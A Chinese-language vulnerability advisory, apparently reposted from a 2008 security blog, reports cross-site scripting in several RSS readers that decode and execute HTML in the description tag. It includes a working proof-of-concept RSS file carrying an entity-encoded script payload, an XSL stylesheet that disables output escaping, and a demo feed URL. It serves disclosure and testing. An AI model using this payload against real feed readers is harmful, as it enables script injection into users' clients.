首 页文章中心黑客工具黑吧学院技术论坛安全培训免费频道最近更新瑞星在线杀毒黑吧百度繁體中文
  设为首页
加入收藏
发布作品
   
栏目导航
· 漏洞公告
热门文章
· 如何封别人QQ
· 充QQ币的疯狂——宽...
· 免费得QB
· 400秒远程攻破你的Q...
· [图文] QQ免费建400个群
· [组图] 给你一台永远不关机...
· [注意] QQ宠物砸蛋秘诀
· 再次有机会免费获得...
· 想的挂QQvip的进
· 在QQ中将自己从对方...
相关文章
多款RSS阅读器出现XSS漏洞
作者:佚名  来源:转载  发布时间:2008-9-28 0:17:02  发布人:黑客动画吧

减小字体 增大字体

受影响系统:

调用以下内核解析RSS的RSS阅读器:

INTERNET EXPLORER ver<= IE7 (其他版本未经测试,估计也有)

OPERA ver <=9.52

以下阅读器出现漏洞:

新浪点点通1.1.0.8 目前最高

周博通4.0(28031409) 目前最高

遨游2.1.4.443(目前最高) RSS侧边栏

。。。不再一一列举。

不受影响系统:

GOOGLE的RSS reader,因为这个RSS阅读器没有调用IE的内核去解析<description>,而是自己解析后输出为html。

描述:

IE和OPERA对RSS中<item>下的<description>标签内容,解析过程如下:

首先使用HTML编码对内容解密(例:‘&lt;’解析为‘<’),之后执行其中HTML代码。

这种解析方式导致一些RSS阅读工具对此过滤不严,出现XSS漏洞。

<*来源:kxlzx (kxlzx@xiaotou.org) http://www.inbreak.net/ *>

测试方法:
在<description>标签的内容中输入HTML编码后的JS代码,例如:
rss.xml代码

 <?xml version="1.0" encoding="utf-8"?><?xml-stylesheet href='kxlzx.xsl' type='text/xsl' ?>
 <rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/"
 xmlns:fs="http://www.feedsky.com/namespace/feed" xmlns:content="http://purl.org/rss/1.0/modules/content/"
 xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"
 version="2.0">
 <channel>
 <update>Mon, 26 Oct 2008 10:36:52 +0800</update>
 <title>hacked by kxlzx</title>
 <description>hacked by kxlzx</description>
 <item>
 <title>hacked by kxlzx title</title>
 <author xmlns="http://www.w3.org/2005/Atom">
 <name>test all</name>
 </author>
 <id xmlns="http://www.w3.org/2005/Atom">http://www.inbreak.net/</id>
 <description>&lt;script&gt;alert('xss');&lt;/script&gt;</description>
 <pubDate>Mon, 27 Oct 2008 09:34:54 +0800</pubDate>
 </item>
 </channel>
 </rss>
kxlzx.xsl代码
 <?xml version="1.0" encoding="UTF-8"?>
 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
 <xsl:output method="html" indent="yes" doctype-system="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" doctype-public="-//W3C//DTD XHTML 1.0 Transitional//EN"/>
 <xsl:variable name="title" select="/rss/channel/title"/>
 <xsl:variable name="feedUrl" select="/rss/channel/atom:link[@ref='self']/@href" xmlns:atom="http://www.w3.org/2005/Atom"/>
 <xsl:variable name="srclink" select="/rss/channel/link"/>
 <xsl:template match="/">
 <html>
 <head>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
 </head>
 <xsl:apply-templates select="rss/channel"/>
 </html>
 </xsl:template>
 <xsl:template match="channel">
 <body>
 
 <div id="wrapper">
 <div id="content">
 <xsl:apply-templates select="image"/>
 <h1><a href="{link}" style="color:#94B3C5;"><xsl:value-of select="$title"/></a></h1>
 
 <p id="desc"><xsl:value-of select="description" disable-output-escaping="yes"/></p>
 
 <ul id="item" class="item">
 <xsl:apply-templates select="item"/>
 </ul>
 </div>
 </div>
 
 </body>
 </xsl:template>
 <xsl:template match="item">
 
 <li>
 <h2><a href="{link}"><xsl:value-of select="title"/></a></h2>
 <span class="date"> <xsl:value-of select="pubDate"/></span>
 
 <p name="decodeable" class="itemcontent"><xsl:call-template name="outputContent"/></p>
 
 <xsl:if test="count(child::enclosure)=1">
 <dd>
 <a href="{enclosure/@url}">
 <img src="http://www.feedsky.com/images/listen.gif" style="vertical-align: middle; padding-left: 4px;"/>
 </a>
 </dd>
 </xsl:if>
 
 </li>
 
 </xsl:template>
 <xsl:template match="image">
 <xsl:element name="img" namespace="http://www.w3.org/1999/xhtml">
 <xsl:attribute name="src"><xsl:value-of select="url"/></xsl:attribute>
 <xsl:attribute name="alt">
 Link to <xsl:value-of select="title"/></xsl:attribute>
 <xsl:attribute name="id">feedimage</xsl:attribute>
 </xsl:element>
 <xsl:text> </xsl:text>
 </xsl:template>
 <xsl:template match="feedsky:browserFriendly" xmlns:feedsky="http://namespace.org/feedsky/ext/1.0">
 <p id="ownerblurb" xmlns="http://www.w3.org/1999/xhtml">
 <em>A message from the feed publisher:</em>
 <xsl:text> </xsl:text>
 <xsl:apply-templates/>
 </p>
 </xsl:template>
 <xsl:template name="outputContent">
 <xsl:choose>
 <xsl:when test="xhtml:body" xmlns:xhtml="http://www.w3.org/1999/xhtml">
 <xsl:copy-of select="xhtml:body/*"/>
 </xsl:when>
 <xsl:when test="xhtml:div" xmlns:xhtml="http://www.w3.org/1999/xhtml">
 <xsl:copy-of select="xhtml:div"/>
 </xsl:when>
 <xsl:when test="content:encoded" xmlns:content="http://purl.org/rss/1.0/modules/content/">
 <xsl:value-of select="content:encoded" disable-output-escaping="yes"/>
 </xsl:when>
 <xsl:when test="description">
 <xsl:value-of select="description" disable-output-escaping="yes"/>
 </xsl:when>
 </xsl:choose>
 </xsl:template>
 </xsl:stylesheet>
演示地址:

http://www.inbreak.net/kxlzxtest/rss8.xml

使用RSS阅读器订阅此地址。

建议:

没啥建议,祈祷RSS阅读器厂商升级好了。

链接:http://www.inbreak.net/?action=show&id=132
[ ] [返回上一页] [打 印] [收 藏]
 
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 网站导航 - 作品发布
互联网备案登记:粤ICP备05008775号
友情提示:浏览本站,请使用IE6.0浏览,并将分辩率设置为1024*768 为佳
Copyright © 2002-2005 Hack58.Com. All Rights Reserved .